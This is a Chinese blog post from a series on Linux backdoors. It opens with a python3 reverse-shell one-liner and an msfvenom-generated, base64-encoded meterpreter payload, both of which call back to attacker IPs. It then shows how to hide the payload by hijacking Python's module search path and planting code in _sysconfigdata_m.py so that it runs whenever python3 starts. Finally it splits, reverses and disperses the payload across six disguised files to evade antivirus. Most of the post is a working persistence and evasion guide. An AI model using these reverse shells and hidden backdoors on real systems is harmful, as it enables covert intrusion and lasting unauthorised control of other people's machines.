首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >​Linux 后门系列之 python3 反弹shell & 隐藏后门

​Linux 后门系列之 python3 反弹shell & 隐藏后门

作者头像
意大利的猫
发布2020-08-20 14:46:08
1.6K1
发布2020-08-20 14:46:08
举报
文章被收录于专栏:漫流砂漫流砂

  • python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.38",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ubuntu 16.04 自带python3,已经不再自带python2

https://docs.python.org/zh-cn/3/using/cmdline.html

接下来我们来探究一下 python3 自身的参数,看一下man手册吧

PYTHON(1)                                                                                 General Commands Manual                                                                                PYTHON(1)

NAME
       python - an interpreted, interactive, object-oriented programming language

SYNOPSIS
       python [ -B ] [ -b ] [ -d ] [ -E ] [ -h ] [ -i ] [ -I ]
              [ -m module-name ] [ -q ] [ -O ] [ -OO ] [ -s ] [ -S ] [ -u ]
              [ -v ] [ -V ] [ -W argument ] [ -x ] [ [ -X option ] -?  ]
              [ -c command | script | - ] [ arguments ]

DESCRIPTION
       Python  is  an  interpreted, interactive, object-oriented programming language that combines remarkable power with very clear syntax.  For an introduction to programming in Python, see the Python
       Tutorial.  The Python Library Reference documents built-in and standard types, constants, functions and modules.  Finally, the Python Reference Manual describes the syntax and  semantics  of  the
       core language in (perhaps too) much detail.  (These documents may be located via the INTERNET RESOURCES below; they may be installed on your system as well.)

       Python's  basic  power  can  be extended with your own modules written in C or C++.  On most systems such modules may be dynamically loaded.  Python is also adaptable as an extension language for
       existing applications.  See the internal documentation for hints.

       Documentation for installed Python modules and packages can be viewed by running the pydoc program.

COMMAND LINE OPTIONS
       -B     Don't write .py[co] files on import. See also PYTHONDONTWRITEBYTECODE.

       -b     Issue warnings about str(bytes_instance), str(bytearray_instance) and comparing bytes/bytearray with str. (-bb: issue errors)

       -c command
              Specify the command to execute (see next section).  This terminates the option list (following options are passed as arguments to the command).

       -d     Turn on parser debugging output (for wizards only, depending on compilation options).

       -E     Ignore environment variables like PYTHONPATH and PYTHONHOME that modify the behavior of the interpreter.

       -h ,  -? ,  --help
              Prints the usage for the interpreter executable and exits.

       -i     When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command.  It does not read the $PYTHONSTARTUP file.This can be useful to inspect global variables or a stack trace when a script raises an exception.

       -I     Run  Python in isolated mode. This also implies -E and -s. In isolated mode sys.path contains neither the script's directory nor the user's site-packages directory. All PYTHON* environment variables are ignored, too.  Further restrictions may be imposed to prevent the user from injecting malicious code.

       -m module-name
              Searches sys.path for the named module and runs the corresponding .py file as a script.

       -O     Turn on basic optimizations.  Given twice, causes docstrings to be discarded.

       -OO    Discard docstrings in addition to the -O optimizations.

       -q     Do not print the version and copyright messages. These messages are also suppressed in non-interactive mode.

       -s     Don't add user site directory to sys.path.

       -S     Disable the import of the module site and the site-dependent manipulations of sys.path that it entails.  Also disable these manipulations if site is explicitly imported later.

       -u     Force the binary I/O layers of stdout and stderr to be unbuffered.  stdin is always buffered.  The text I/O layer will still be line-buffered.

       -v     Print a message each time a module is initialized, showing the place (filename or built-in module) from which it is loaded.  When given twice, print a message for each file that is checked for when searching for a module.  Also provides information on module cleanup at exit.

       -V ,  --version
              Prints the Python version number of the executable and exits.

       -W argument
              Warning  control.   Python  sometimes  prints  warning  message to sys.stderr.  A typical warning message has the following form: file:line: category: message.  By default, each warning is printed once for each source line where it occurs.  This option controls how often warnings are printed.  Multiple -W options may be given; when a warning matches more than one option, the action  for the last matching option is performed.  Invalid -W options are ignored (a warning message is printed about invalid options when the first warning is issued).  Warnings can also be controlled from within a Python program using the warnings module.

              The simplest form of argument is one of the following action strings (or a unique abbreviation): ignore to ignore all warnings; default to explicitly request the default behavior (printing each  warning  once  per  source  line);  all to print a warning each time it occurs (this may generate many messages if a warning is triggered repeatedly for the same source line, such as inside a loop); module to print each warning only the first time it occurs in each module; once to print each warning only the first time it occurs in the program; or  error  to  raise  an exception instead of printing a warning message.

              The  full form of argument is action:message:category:module:line.  Here, action is as explained above but only applies to messages that match the remaining fields.  Empty fields match all values; trailing empty fields may be omitted.  The message field matches the start of the warning message printed; this match is case-insensitive.  The category field matches  the  warning category.  This must be a class name; the match test whether the actual warning category of the message is a subclass of the specified warning category.  The full class name must be given.
              The module field matches the (fully-qualified) module name; this match is case-sensitive.  The line field matches the line number, where zero matches all line numbers and is  thus  equiva‐lent to an omitted line number.

       -X option
              Set implementation specific option.

       -x     Skip the first line of the source.  This is intended for a DOS specific hack only.  Warning: the line numbers in error messages will be off by one!

INTERPRETER INTERFACE
       The  interpreter interface resembles that of the UNIX shell: when called with standard input connected to a tty device, it prompts for commands and executes them until an EOF is read; when called with a file name argument or with a file as standard input, it reads and executes a script from that file; when called with -c command, it executes the Python statement(s) given as command.  Here command may contain multiple statements separated by newlines.  Leading whitespace is significant in Python statements!  In non-interactive mode, the entire input is parsed before it is executed.

       If  available,  the  script  name and additional arguments thereafter are passed to the script in the Python variable sys.argv, which is a list of strings (you must first import sys to be able to access it).  If no script name is given, sys.argv[0] is an empty string; if -c is used, sys.argv[0] contains the string '-c'.  Note that options interpreted by the Python interpreter  itself are not placed in sys.argv.

       In  interactive mode, the primary prompt is `>>>'; the second prompt (which appears when a command is not complete) is `...'.  The prompts can be changed by assignment to sys.ps1 or sys.ps2.  The interpreter quits when it reads an EOF at a prompt.  When an unhandled exception occurs, a stack trace is printed and control returns to the primary prompt; in non-interactive  mode,  the  interpreter exits after printing the stack trace.  The interrupt signal raises the KeyboardInterrupt exception; other UNIX signals are not caught (except that SIGPIPE is sometimes ignored, in favor of the IOError exception).  Error messages are written to stderr.

FILES AND DIRECTORIES
       These are subject to difference depending on local installation conventions; ${prefix} and ${exec_prefix} are installation-dependent and should be interpreted as for GNU software; they may be the same.  On Debian GNU/{Hurd,Linux} the default for both is /usr.

       ${exec_prefix}/bin/python
              Recommended location of the interpreter.

       ${prefix}/lib/python<version>
       ${exec_prefix}/lib/python<version>
              Recommended locations of the directories containing the standard modules.

       ${prefix}/include/python<version>
       ${exec_prefix}/include/python<version>
              Recommended locations of the directories containing the include files needed for developing Python extensions and embedding the interpreter.

ENVIRONMENT VARIABLES
       PYTHONHOME
              Change  the  location of the standard Python libraries.  By default, the libraries are searched in ${prefix}/lib/python<version> and ${exec_prefix}/lib/python<version>, where ${prefix} and ${exec_prefix} are installation-dependent directories, both defaulting to /usr/local.  When $PYTHONHOME is set to a single directory, its value replaces both ${prefix} and  ${exec_prefix}. To specify different values for these, set $PYTHONHOME to ${prefix}:${exec_prefix}.

       PYTHONPATH
              Augments the default search path for module files.  The format is the same as the shell's $PATH: one or more directory pathnames separated by colons.  Non-existent directories are silently ignored.  The default search path is installation dependent, but generally begins with ${prefix}/lib/python<version> (see PYTHONHOME above).  The default search path is always appended  to $PYTHONPATH.   If  a script argument is given, the directory containing the script is inserted in the path in front of $PYTHONPATH.  The search path can be manipulated from within a Python program as the variable sys.path.

       PYTHONSTARTUP
              If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode.  The file is executed in the same name space where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session.  You can also change the prompts sys.ps1 and sys.ps2 in this file.

       PYTHONOPTIMIZE
              If this is set to a non-empty string it is equivalent to specifying the -O option. If set to an integer, it is equivalent to specifying -O multiple times.

       PYTHONDEBUG
              If this is set to a non-empty string it is equivalent to specifying the -d option. If set to an integer, it is equivalent to specifying -d multiple times.

       PYTHONDONTWRITEBYTECODE
              If this is set to a non-empty string it is equivalent to specifying the -B option (don't try to write .py[co] files).

       PYTHONINSPECT
              If this is set to a non-empty string it is equivalent to specifying the -i option.

       PYTHONIOENCODING
              If this is set before running the interpreter, it overrides the encoding used for stdin/stdout/stderr, in the syntax encodingname:errorhandler The errorhandler part is optional and has the same meaning as in str.encode. For stderr, the errorhandler part is ignored; the handler will always be ´backslashreplace´.

       PYTHONNOUSERSITE
              If this is set to a non-empty string it is equivalent to specifying the -s option (Don't add the user site directory to sys.path).

       PYTHONUNBUFFERED
              If this is set to a non-empty string it is equivalent to specifying the -u option.

       PYTHONVERBOSE
              If this is set to a non-empty string it is equivalent to specifying the -v option. If set to an integer, it is equivalent to specifying -v multiple times.

       PYTHONWARNINGS
              If this is set to a comma-separated string it is equivalent to specifying the -W option for each separate value.

       PYTHONHASHSEED
              If this variable is set to "random", a random value is used to seed the hashes of str, bytes and datetime objects.

              If PYTHONHASHSEED is set to an integer value, it is used as a fixed seed for generating the hash() of the types covered by the hash randomization.  Its purpose is to allow repeatable hash‐ing, such as for selftests for the interpreter itself, or to allow a cluster of python processes to share hash values.

              The integer must be a decimal number in the range [0,4294967295].  Specifying the value 0 will disable hash randomization.

AUTHOR
       The Python Software Foundation: https://www.python.org/psf/

INTERNET RESOURCES
       Main website:  https://www.python.org/
       Documentation:  https://docs.python.org/
       Developer resources:  https://docs.python.org/devguide/
       Downloads:  https://www.python.org/downloads/
       Module repository:  https://pypi.python.org/
       Newsgroups:  comp.lang.python, comp.lang.python.announce

LICENSING
       Python is distributed under an Open Source license.  See the file "LICENSE" in the Python source distribution for information on terms & conditions for accessing and otherwise  using  Python  and
       for a DISCLAIMER OF ALL WARRANTIES.

                                                                                                                                                                                                 PYTHON(1)


这man手册写的是真详细呀,对参数总结一下

python [ -B ] [ -b ] [ -d ] [ -E ] [ -h ] [ -i ] [ -I ] [ -m module-name ] [ -q ] [ -O ] [ -OO ] [ -s ] [ -S ] [ -u ] [ -v ] [ -V ] [ -W argument ] [ -x ] [ [ -X option ] -? ] [ -c command | script | - ] [ arguments ]

  • -B 当使用 import 时,不产生 .pyc/pyo 文件
  • -b 对str(bytes_instance),str(bytearray_instance) 以及将bytes/bytearray与str比较时,产生警告信息。如果使用了 -bb 选项,则产生错误信息。
  • -c command 将command字符串当做python代码来执行,这个也是最常被恶意利用的参数 -c 指定执行代码也支持一些参数
  • -d 打开解析器调试输出
  • -E 忽略修改解释器行为的PYTHONPATH和PYTHONHOME之类的环境变量
  • -h
  • -i 当将脚本作为第一个参数传递或使用-c选项时,请在执行脚本或命令后进入交互模式。它不会读取$ PYTHONSTARTUP文件。当脚本引发异常时,这对于检查全局变量或堆栈跟踪很有用。
  • -I ( 大i) 在隔离模式下运行Python。这也意味着-E和-s。在隔离模式下,sys.path既不包含脚本的目录也不包含用户的site-packages目录。所有PYTHON *环境变量也将被忽略。可能会施加进一步的限制,以防止用户注入恶意代码。
  • -m module-name 在sys.path中搜索指定的模块,然后将相应的.py文件作为脚本运行。
  • -O 开启代码优化,删掉assert与__debug__依赖的语句;在保存的.pyc文件扩展名之前,添加.opt-1字样;等价于PYTHONOPTMIZE=x
  • -OO 不要打印版本和版权信息。这些消息在非交互模式下也被禁止。
  • -s 不要将用户站点目录添加到sys.path
  • -S 启动时不引入Python的路径
  • -u 强制标准输出stdout与标准输入stderr流是无缓冲的;这个选项对标准输入stdin无效;等价于环境变量PYTHONUNBUFFERED=x
  • -v 每次模块初始化时打印一条消息,显示加载该模块的位置(文件名或内置模块)。当给出两次时,为搜索模块时检查的每个文件打印一条消息。还提供有关退出时模块清理的信息。
  • -V 打印可执行的 Python 的版本
  • -W argument 这个参数主要是负责控制告警输出,有以下几个值
    • ignore
    • default
    • all
    • module
    • once
    • error
  • -X option 保留用于各种具体实现专属的选项,具体可以取以下值(摘自官网)
    • -X faulthandler启用 [faulthandler`](https://docs.python.org/zh-cn/3/library/faulthandler.html#module-faulthandler);
    • -X showrefcount 当程序结束或在交互解释器中的每条语句之后输出总引用计数和已使用内存块计数。此选项仅在调试版本中有效。
    • -X tracemalloc 使用 tracemalloc 模块启动对 Python 内存分配的跟踪。默认情况下,只有最近的帧会保存在跟踪的回溯信息中。使用 -X tracemalloc=NFRAME 以启动限定回溯 NFRAME 帧的跟踪。请参阅 tracemalloc.start() 了解详情。
    • -X showalloccount 当程序结束时输出每种类型的已分配对象的总数。此选项仅当 Python 在定义了 COUNT_ALLOCS 后构建时才会生效。
    • -X importtime 显示每次导入耗费的时间。它会显示模块名称,累计时间(包括嵌套的导入)和自身时间(排除嵌套的导入)。请注意它的输出在多线程应用程序中可能会出错。典型用法如 python3 -X importtime -c 'import asyncio'。另请参阅 PYTHONPROFILEIMPORTTIME
    • -X dev: 启用 CPython 的“开发模式”,引入额外的运行时检测,这些检测因开销过大而无法默认启用。如果代码是正确的则它不会比默认输出更详细:新增警告只会在发现问题时才会发出。
    • -X utf8 为操作系统接口启用 UTF-8 模式,覆盖默认的区域感知模式。 -X utf8=0 显式地禁用 UTF-8 模式(即使在它应当被自动激活的时候)。请参阅 PYTHONUTF8 了解详情。
    • -X pycache_prefix=PATH 允许将 .pyc 文件写入以给定目录为根的并行树,而不是代码树。另见 PYTHONPYCACHEPREFIX
  • -x 跳过代码第一行,允许使用非unix格式的表头,比如 #!cmd

还有一些环境变量,参数如下:

  • PYTHONHOME
  • PYTHONPATH
  • PYTHONSTARTUP
  • PYTHONOPTIMIZE
  • PYTHONDEBUG
  • PYTHONDONTWRITEBYTECODE
  • PYTHONINSPECT
  • PYTHONIOENCODING
  • PYTHONNOUSERSITE
  • PYTHONUNBUFFERED
  • PYTHONVERBOSE
  • PYTHONWARNINGS
  • PYTHONHASHSEED

具体什么含义可以去官网查查


我们今天要关注的是哪些能为反弹 shell 带来便利

  • -c
  • -i
  • -m

看着好像跟没学习 Python 自身参数一样,哎,说不定啥时候就用到了呢...

接下来对各个参数进行深入探究

-c command

command 是Python代码,使用tips

  • command 可以是一条也可以是换行符分隔的多条语句
  • 前导空格就像平常代码一样,是有意义的
  • sys.argv 获取到的首个元素为 "-c"

可以执行任意Python代码,那想要去反弹shell,代码千奇百怪了,我写出来100个也没啥意义,仿佛php webshell一样,我们就 -c 参数的三个特性进行深挖吧!

分隔符都有啥呢?

猜吧,我真没找到官方说明和民间总结

; , . - [ ] \ / < > @ # $ % ^ & * ( ) + |

大概就是上面这些吧,挨个测试,开始fuzzing

基础代码

python3 -c "print('hello');print('world')"

python3 -c "print('hello'),print('world')"

python3 -c "print('hello').print('world')"

python3 -c "print('hello')[]print('world')"

python3 -c "print('hello')\print('world')"

python3 -c "print('hello')/print('world')"

python3 -c "print('hello')<>print('world')"

python3 -c "print('hello')@print('world')"

python3 -c "print('hello')#print('world')"

python3 -c "print('hello')$print('world')"

python3 -c "print('hello')%print('world')"

python3 -c "print('hello')print('world')"

python3 -c "print('hello')&print('world')"

python3 -c "print('hello')*print('world')"

python3 -c "print('hello')()print('world')"

python3 -c "print('hello')+print('world')"

python3 -c "print('hello')|print('world')"


测试了一顿,给我整出了自己是智障的错觉...

经过了我一段时间的分析(5秒),意识到不是错觉,一看这报错,很有规律呀:

这不就是小学的加减乘除的运算加上注释符之类的...

不用想 >= 和 <= 肯定也是可以的

报错这一部分都是python本身代码的报错,并不是说可以作为分隔符。当然了,在某些场景下会有作用

分号和逗号可以说是比较完美的了,下面我们来探究类似循环这种带有格式的多行代码

分隔符fuzzing出来了,拿这个去网上搜索肯定会有一些信息,得到信息如下

  • import 必须以 ; 结尾
  • 代码可以使用 [] 括起来

又是过了几秒我猜明白过来,这不就是把语句装列表里了,所以分号不行

下面来进行常用的语法的场景化变形

  • if else
  • for 循环

打脸来得要快,就像龙卷风.... 行吧, [] 还真是很有作用!!!

下面进行Python3反弹shell的测试

msf 生成python3 shell

sudo ./msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.43.177 LPORT=5555 -f raw

得到 payload 如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNDMuMTc3Jyw1NTU1KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))

msf生成的payload 就是这种一行代码的格式,将多行代码使用base64进行了加密,很好,我们试试成不成

[+] 物理机msf监听 5555 端口

[-] ubuntu 端执行payload

[+] 物理机这边成功接到shell

这样 python 反弹shell 就结束了,下面就是我最喜欢的扯淡时间

用上面哪些运算符试试分离代码是否能成功

python3 -c "import base64,sys;update = base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNDMuMTc3Jyw1NTU1KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')) + exec(update)"

可以看到,失败了...

分号肯定是没问题的

逗号不行

逗号加上中括号试试

之前那些字符我都尝试了一下,并没有什么卵用,看来还是在代码上下功夫吧!


-i

-i 选项是Python交互模式,为啥我认为它对咱们有用呢?

如果你看了bash章节想起 bash -i 应该就不会再有这个疑问了

没错,我们可以使用 -i 参数依赖bash或者sh的/dev/tcp/ip/port 来进行反弹一个远程的python code shell

开整

可以看到,成功反弹,可执行,这个shell在输入时候在空格和双引号处对于向左按键支持不是很好,可以通过删除键达到目的

至于变形,我真的不想再说了,看上一个章节吧!

-m module_name

这个参数是在sys.path 中查找模块名,并将其作为脚本执行

听到这里,相信大家已经对于这个参数的限制有了一定的了解,我们来看一下 sys.path 包含哪些内容

['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

本来想直接说利用的,后来觉得还是把脚本直接执行与模块导入的不同,参考文章如下:

https://www.jianshu.com/p/934db39a9b6d

差异主要在 sys.path 和 sys.module

直接运行脚本,当前脚本所在的路径会加入到 sys.path 列表中,但是 sys.modules 字典中的 __main__ 的路径不是绝对路径,只是脚本名称

当做模块方式运行,当前脚本所在的路径不会加入到 sys.path 列表中,加入的是"", 但是 sys.modules字典中的 __main__ 的路径是绝对路径,同时,还引入了一些其他模块的路径

默认情况下,我觉得没有哪个module可以直接作为shell进行反弹,所以这个参数更适合于我们隐藏shell

查到资料说,python3 在引入模块的时候,是按照 sys.path 的顺序来进行查找的,我们来测试一下是不是这样的

  • 在 /usr/lib/python3.5/ 、/usr/lib/python3.5/plat-x86_64-linux-gnu/ 、/usr/lib/python3.5/lib-dynload 下都放置一个 test_path.py
  • test_path.py 内容就是打印 test_path.py 这个文件所在的路径

可以看到返回结果为 /usr/lib/python3.5/test_path.py ,可以看到是按照 sys.path 这个列表元素的顺序进行的。所以思路来了:

  • 要保证我们后门的名字和模块的名字一样
  • 我们的后门路径要优先被索引
  • 最好名称能正常一点或者以 . 等特殊字符开头

按照这个思路,我们可以从 /usr/lib/python3.5/plat-x86_64-linux-gnu 目录开始搜索

_sysconfigdata_m.py 这个文件名算是一个好的备选,我们再看看 /usr/lib/python3.5/lib-dynload

这个文件夹里都是 .so 文件,这个由于不是模块,所以用来劫持模块不会成功,但是我测试一下,似乎可以用相同的方法来劫持库,后续再研究,不能忘了当前的目标

继续 /usr/local/lib/python3.5/dist-packages ,这个路径我相信大家都是熟悉的,pip install 安装的包的存放目录

遗憾的是这个目录里啥也没有,接着找 /usr/lib/python3/dist-packages ,这个功能和上一个是一样的,看看默认会不会安装什么包

纵观默认的整个 sys.path ,好像只有两个是比较适合留shell的(每个人对这个后门的想法多少还是有点不一样)

  • _sysconfigdata_m.py
  • lsb_release.py

我们还是使用 msf 的python shell, 以 _sysconfigdata_m.py 这个文件为例吧。先把这个文件复制到 /usr/lib/python3.5/

没想到 /usr/lib/python3.5/ 目录下还有一个跟这个文件名类似的文件,简直不要太好,我们看看文件内容,好决定怎么留后门,截取一小部分

这个文件似乎是一个配置文件呀,整个文件就是一个字典,这样的话我可以考虑一下将payload放在字典的值部分,当然了import 还是得放在文件开头

尝试一下能不能反弹shell

[+] 本地监听 5555 端口

[-] ubuntu server 上执行 python3 -m _sysconfigdata_m

可以看到,成功获取shell


又到了我最欢的扯淡时间了

我以一个默认用户权限调用了一个root权限的模块,会不会有权限上的提升

想到

import os
os.system('id')

我觉得应该不会有权限提升,但是谁让我无聊呢?

在 _sysconfigdata_m.py 文件中插入上面代码吧

可以看到,权限还是helper, uid=1000

太无聊了!


今天好像不是很想睡,咱们再扩展一下吧,使用分离免杀的思路

我们先看一下payload

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zOCcsNTU1NSkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

简单拆分一下,后续进行分工

import base64,sys
exec(var)
base64.decode()
{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]](strings)
aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zOCcsNTU1NSkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

最后一段看着太长了,我们来给它分两半(想分几半分几半)

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zOCcsNTU1NSkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3
RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

再把每一段都反转一下吧

3c9wmCpUDKwVWZsNnLl1Wa0lQCKoDdwV2Y4VWCKsWYlJnYJkgCpkSN1UTNscCOz4SMugjNx4iM5EzJogCdjVmbu92YuMXCJoQKNFURSR1Uft0QPNlL0V2aj92csIDK0V2aj92cuQXZrN2bz1zcJkgC6knc0lgC6kCMxgSZn5WYyBibpBCegI3bmpQZtlGdsQ3Y1JHdzxCdlt2YvNHI0J3bw1Wa
=oQK9NnOnM3J7xCZoMWZ4VmCpkCZo4WZs1CboY3YlJnLz1zKklgC6wGPpQGKuVGbgUGbph2dKkCboY3YlJnLz1DZK0FMblSK0gidjVmcuMHLnkkPngyajFGcuVnL0NWdyR

这下好了,有六个部分,分别放在6个文件中进行存储后拼接成一个后门,这六个文件按照调用的先后顺序放在 sys.path 的几个目录中

  • 最基础的 "=oQK9NnOnM3J7xCZoMWZ4VmCpkCZo4WZs1CboY3YlJnLz1zKklgC6wGPpQGKuVGbgUGbph2dKkCboY3YlJnLz1DZK0FMblSK0gidjVmcuMHLnkkPngyajFGcuVnL0NWdyR" 放在 sys.path 最后的目录里,也就是 /usr/lib/python3/dist-packages 创建 base.py 文件

我这是随便编的变量,大家可以整多一些,尤其是注释一定要多,要达到混淆的效果

  • 在 /usr/local/lib/python3.5/dist-packages/ 中创建文件 easy_install.py
  • 在 /usr/lib/python3.5/ 中创建 _codecs_cn_python_35m_x86_64_linux_gnu.py (为了应景)
  • 在 /usr/lib/python3.5/plat-x86_64-linux-gnu/ 创建 STYLE.py
  • 在 /usr/lib/python3.5/ 创建 _sysconfigdata_sys.py

这回都分配完了,执行一下试试吧

[+] 物理机监听

[-] ubuntu 执行 python3 -m _sysconfigdata_sys

可以看到成功获取shell


因为 python3 -m 和 import 是一样的,我们就不需要python3 -m了,找一个只要执行python就会调用的文件,岂不美哉?

这个呢,需要了解一下Python执行过程了,我还没到专门去搞这个的时候,在测试过程中我巧合发现了一个文件挺适合做这个事

还记得之前的 _sysconfigdata_m.py 吗?没错,这个文件就在 /usr/lib/python3.5/plat-x86_64-linux-gnu/ 目录中,现在有两个选择

  • 修改源文件
  • 按照之前的方法,劫持它

这里选择修改源文件,加入 print("I am here")

可以看到执行 python3 我们插入的代码都被执行了,很好,接下来我们加入 import _sysconfigdata_sys

我们再试一次

可以看到导入模块出现了问题,按理说不应该呀,蠢了半个小时后的我想到打印一下 sys.path

再来试试

把之前的 sys.path 拿过来对比一下

['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

可以看到缺少 /usr/local/lib/python3.5/dist-packages、/usr/lib/python3/dist-packages ,而我们之前的 base.py 和 easy_insatll.py 都是放在了这两个目录,为了完成演示,我们把这两个文件都复制到 /usr/lib/python3.5/

这回我们再来尝试一下反弹shell

可以看到成功反弹shell,做到无命令执行,反弹shell


其实我是做了一个相对极端的尝试,在两端有两种路可走

  • 直接在自启动文件写入payload(比如 /usr/lib/python3.5/plat-x86_64-linux-gnu/_sysconfigdata_m.py)
  • 将代码弄到极度破碎,并且使用Python原声文件中的变量做payload的一部分,甚至可以把所有的函数都变形,回调等

又到了扯淡的时间了

前天弄到了两点,结果失败是因为我把 easy_install 写成了 easy_imstall

还是要合理安排休息呀!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档